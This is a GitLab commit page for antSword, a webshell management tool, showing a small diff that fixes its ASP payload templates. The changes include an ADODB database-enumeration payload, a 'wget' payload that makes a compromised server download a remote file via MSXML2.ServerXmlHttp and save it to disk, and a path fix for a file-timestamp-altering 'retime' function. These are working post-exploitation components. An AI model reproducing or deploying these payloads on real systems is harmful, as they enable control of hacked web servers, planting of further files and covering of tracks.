Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
A
antSword
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
antSword
Commits
a76e0441
Commit
a76e0441
authored
Sep 04, 2018
by
jjf012
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
修复aspshell的功能问题
parent
f356cb76
Changes
3
Hide whitespace changes
Inline
Side-by-side
Showing
3 changed files
with
9 additions
and
5 deletions
+9
-5
access.js
source/core/asp/template/database/access.js
+2
-2
filemanager.js
source/core/asp/template/filemanager.js
+1
-1
index.js
source/modules/filemanager/index.js
+6
-2
No files found.
source/core/asp/template/database/access.js
View file @
a76e0441
...
...
@@ -6,9 +6,9 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases
:
{
_
:
`Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("
${
arg1
}
")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI=
Request("
${
arg2
}
")
&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`
,
`Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("
${
arg1
}
")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI=
"[ADO DATABASE]"
&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`
,
[
arg1
]:
'#{hex::conn}'
,
[
arg2
]:
'#{dbname}'
//
[arg2]: '#{dbname}'
},
// 显示数据库所有表
show_tables
:
{
...
...
source/core/asp/template/filemanager.js
View file @
a76e0441
...
...
@@ -71,7 +71,7 @@ module.exports = (arg1, arg2, arg3) => ({
wget
:
{
_
:
`Dim SI:Set x=CreateObject("M
icrosoft.XMLHTTP
"):x.Open "GET",""&bd(Request("
${
arg1
}
"))&"",0:x.Send():If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:set s=CreateObject("ADODB.Stream"):s.Mode=3:s.Type=1:s.Open():s.Write x.ResponseBody:s.SaveToFile ""&bd(Request("
${
arg2
}
"))&"",2:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="1":End If:Set x=Nothing:Set s=Nothing:End If:Response.Write(SI)`
,
`Dim SI:Set x=CreateObject("M
SXML2.ServerXmlHttp
"):x.Open "GET",""&bd(Request("
${
arg1
}
"))&"",0:x.Send():If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:set s=CreateObject("ADODB.Stream"):s.Mode=3:s.Type=1:s.Open():s.Write x.ResponseBody:s.SaveToFile ""&bd(Request("
${
arg2
}
"))&"",2:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="1":End If:Set x=Nothing:Set s=Nothing:End If:Response.Write(SI)`
,
[
arg1
]:
"#{hex::url}"
,
[
arg2
]:
"#{hex::path}"
}
...
...
source/modules/filemanager/index.js
View file @
a76e0441
...
...
@@ -446,11 +446,15 @@ class FileManager {
content
:
`<input type="text" class="layui-layer-input" onClick="laydate({istime: true, format: 'YYYY-MM-DD hh:mm:ss'});" value="
${
oldtime
}
">`
},
(
value
,
i
,
e
)
=>
{
this
.
files
.
cell
.
progressOn
();
let
path
=
this
.
path
;
if
(
this
.
isWin
)
{
path
=
path
.
replace
(
/
\/
/g
,
'
\
\'
)
}
// http request
this.core.request(
this.core.filemanager.retime({
path
:
this
.
path
+
name
,
// path: this.path + name,
path: path + name,
time: value
})
).then((res) => {
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment